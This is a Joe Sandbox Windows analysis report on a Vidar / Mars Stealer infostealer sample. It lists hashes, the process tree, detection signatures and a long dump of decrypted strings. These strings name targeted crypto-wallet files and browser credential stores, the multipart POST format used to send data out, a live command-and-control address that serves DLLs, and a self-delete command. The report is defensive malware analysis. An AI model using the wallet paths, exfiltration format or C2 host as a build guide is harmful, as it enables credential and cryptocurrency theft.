Edit tour

Windows Analysis Report
8BQ2v9glrG.exe

Overview

General Information

Sample name:	8BQ2v9glrG.exe renamed because original name is a hash value
Original sample name:	1acc4c16687d848711a9980e6ae72e50.exe
Analysis ID:	1498386
MD5:	1acc4c16687d848711a9980e6ae72e50
SHA1:	eadc3f132e62bc29e7db686a440e411384de3b58
SHA256:	c9447adafcde36beae4a02d6c81c820d46e4fa9481e1b708b641b3a67c98d48c
Tags:	ArkeiStealerexe
Infos:

Detection

Mars Stealer, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mars stealer

Yara detected Vidar

Yara detected Vidar stealer

AI detected suspicious sample

Contains functionality to detect sleep reduction / modifications

Found evasive API chain (may stop execution after checking computer name)

Found evasive API chain (may stop execution after checking locale)

Found evasive API chain (may stop execution after checking mutex)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for dropped file

PE file has a writeable .text section

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

File is packed with WinRar

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Sample execution stops while process was sleeping (likely an evasion)

Uses Microsoft's Enhanced Cryptographic Provider

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

8BQ2v9glrG.exe (PID: 7268 cmdline: "C:\Users\user\Desktop\8BQ2v9glrG.exe" MD5: 1ACC4C16687D848711A9980E6AE72E50)

Builded.exe (PID: 7304 cmdline: "C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe" MD5: 52E9F55D274E2EE01959FE2D8297A927)

cmd.exe (PID: 7408 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 7456 cmdline: timeout /t 5 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.1699006195.0000000000401000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.1699006195.0000000000401000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000001.00000002.1699006195.0000000000401000.00000040.00000001.01000000.00000009.sdmp	Windows_Trojan_ArkeiStealer_84c7086a	unknown	unknown	0x3a30:$a: 01 89 55 F4 8B 45 F4 3B 45 10 73 31 8B 4D 08 03 4D F4 0F BE 19 8B
00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Vidar_114258d5	unknown	unknown	0xd000:$a2: wallet.dat 0xd900:$b1: CC\%s_%s.txt 0xe050:$b2: History\%s_%s.txt 0xe030:$b3: Autofill\%s_%s.txt
Process Memory Space: Builded.exe PID: 7304	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Builded.exe PID: 7304	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Builded.exe PID: 7304	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x4f4fa:$a2: wallet.dat 0x4fb2d:$b1: CC\%s_%s.txt 0x4fb3a:$b1: CC\%s_%s.txt 0x4ffc7:$b2: History\%s_%s.txt 0x4ffaf:$b3: Autofill\%s_%s.txt
decrypted.memstr	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
decrypted.memstr	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x1409:$a2: wallet.dat 0x371a:$b1: CC\%s_%s.txt 0x385d:$b2: History\%s_%s.txt 0x36a4:$b3: Autofill\%s_%s.txt
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.Builded.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.Builded.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
1.2.Builded.exe.400000.0.unpack	Windows_Trojan_ArkeiStealer_84c7086a	unknown	unknown	0x3e30:$a: 01 89 55 F4 8B 45 F4 3B 45 10 73 31 8B 4D 08 03 4D F4 0F BE 19 8B

Suricata Signatures

ET MALWARE Win32/Vidar Variant/Mars Stealer CnC Exfil - Source IP: 192.168.2.4 - Destination IP: 104.194.151.11

Timestamp:	2024-08-24T11:52:00.209046+0200
SID:	2033163
Severity:	1
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://104.194.151.11/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://104.194.151.11/nss3.dll	Avira URL Cloud: Label: malware
Source: http://104.194.151.11/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://104.194.151.11/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://104.194.151.11/AP.php	Avira URL Cloud: Label: malware
Source: http://104.194.151.11/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://104.194.151.11/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://104.194.151.11/mozglue.dll	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Virustotal: Detection: 70%			Perma Link

Multi AV Scanner detection for submitted file

Source: 8BQ2v9glrG.exe	ReversingLabs: Detection: 83%
Source: 8BQ2v9glrG.exe	Virustotal: Detection: 54%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: LoadLibraryA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetProcAddress
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: ExitProcess
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: advapi32.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: crypt32.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetTickCount
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Sleep
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CreateMutexA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetLastError
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: HeapAlloc
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetProcessHeap
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetComputerNameA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: VirtualProtect
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetCurrentProcess
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetUserNameA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: HAL9TH
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: JohnDoe
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: 05/02/2022 20:00:00
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: http://
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: 07903688652437406205
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Default
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: %hu/%hu/%hu %hu:%hu:%hu
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: open
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: /sqlite3.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: C:\ProgramData\sqlite3.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: /freebl3.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: C:\ProgramData\freebl3.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: /mozglue.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: C:\ProgramData\mozglue.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: /msvcp140.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: C:\ProgramData\msvcp140.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: /nss3.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: /softokn3.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: C:\ProgramData\softokn3.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: /vcruntime140.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: C:\ProgramData\vcruntime140.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: .zip
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Tag:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: IP: IP?
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Country: Country?
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Working Path:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Local Time:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: TimeZone:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Display Language:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Keyboard Languages:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Is Laptop:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Processor:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Installed RAM:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: OS:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Bit)
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Videocard:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Display Resolution:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: PC name:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: User name:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Domain name:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: MachineID:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GUID:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Installed Software:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: system.txt
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Grabber\%s.zip
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: %APPDATA%
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: %USERPROFILE%
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: %DESKTOP%
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Wallets\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Ethereum
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Ethereum\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: keystore
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Electrum
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Electrum\wallets\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: ElectrumLTC
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Electrum-LTC\wallets\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Exodus
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Exodus\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: exodus.conf.json
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: window-state.json
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Exodus\exodus.wallet\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: passphrase.json
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: seed.seco
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: info.seco
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: ElectronCash
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \ElectronCash\wallets\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: default_wallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: MultiDoge
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \MultiDoge\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: multidoge.wallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: JAXX
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \jaxx\Local Storage\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: file__0.localstorage
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Atomic
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \atomic\Local Storage\leveldb\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: 000003.log
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CURRENT
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: LOCK
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: MANIFEST-000001
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: 0000*
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Binance
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Binance\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: app-store.json
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Coinomi
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Coinomi\Coinomi\wallets\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: *.wallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: *.config
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: wallet.dat
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetSystemTime
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: lstrcatA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: ntdll.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: sscanf
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: memset
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: memcpy
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: wininet.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: user32.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: gdi32.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: netapi32.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: psapi.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: bcrypt.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: vaultcli.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: shlwapi.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: shell32.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: gdiplus.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: ole32.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: dbghelp.dll
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CreateFileA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: WriteFile
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CloseHandle
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetFileSize
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: lstrlenA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: LocalAlloc
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GlobalFree
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: ReadFile
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: OpenProcess
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SetFilePointer
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SetEndOfFile
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetCurrentProcessId
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetLocalTime
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: LocalFree
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetSystemInfo
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: IsWow64Process
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetTempPathA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetLocaleInfoA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetFileSizeEx
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetFileAttributesA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: FindFirstFileA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: FindNextFileA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: FindClose
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetCurrentDirectoryA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CopyFileA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: DeleteFileA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: lstrcmpW
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GlobalAlloc
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: FreeLibrary
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SetCurrentDirectoryA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CreateFileMappingA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: MapViewOfFile
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: UnmapViewOfFile
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: FileTimeToSystemTime
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetFileInformationByHandle
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GlobalLock
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GlobalSize
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: WideCharToMultiByte
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetVolumeInformationA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetVersionExA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetModuleFileNameA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CreateFileW
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CreateFileMappingW
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: MultiByteToWideChar
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CreateThread
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: lstrcpyA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: lstrcpynA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: InternetOpenA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: InternetConnectA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: HttpOpenRequestA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: HttpSendRequestA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: HttpQueryInfoA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: InternetCloseHandle
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: InternetReadFile
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: InternetSetOptionA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: InternetOpenUrlA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: InternetCrackUrlA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: wsprintfA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CharToOemW
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: ReleaseDC
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetDC
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetSystemMetrics
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetDesktopWindow
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetWindowRect
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetWindowDC
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CloseWindow
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: RegOpenKeyExA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: RegQueryValueExA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: RegCloseKey
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetCurrentHwProfileA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: RegEnumKeyExA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: RegGetValueA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CreateDCA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetDeviceCaps
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CreateCompatibleDC
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SelectObject
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: BitBlt
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: DeleteObject
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: StretchBlt
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetObjectW
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetDIBits
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SaveDC
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CreateDIBSection
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: DeleteDC
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: RestoreDC
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: DsRoleGetPrimaryDomainInformation
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CryptUnprotectData
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: BCryptDestroyKey
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: BCryptSetProperty
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: BCryptDecrypt
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: VaultOpenVault
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: VaultCloseVault
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: VaultEnumerateItems
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: VaultGetItemWin8
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: VaultGetItemWin7
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: VaultFree
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: StrCmpCA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: StrStrA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: PathMatchSpecA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SHGetFolderPathA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: ShellExecuteExA
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GdiplusStartup
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GdiplusShutdown
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GdipDisposeImage
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GdipFree
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SymMatchString
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: HEAD
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: HTTP/1.1
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: POST
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: file
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Content-Disposition: form-data; name="file"; filename="
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Content-Type: application/octet-stream
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Content-Transfer-Encoding: binary
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SOFT:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: PROF: ?
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: PROF:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: HOST:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: USER:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: PASS:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: sqlite3_open
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: sqlite3_step
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: sqlite3_column_text
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: sqlite3_finalize
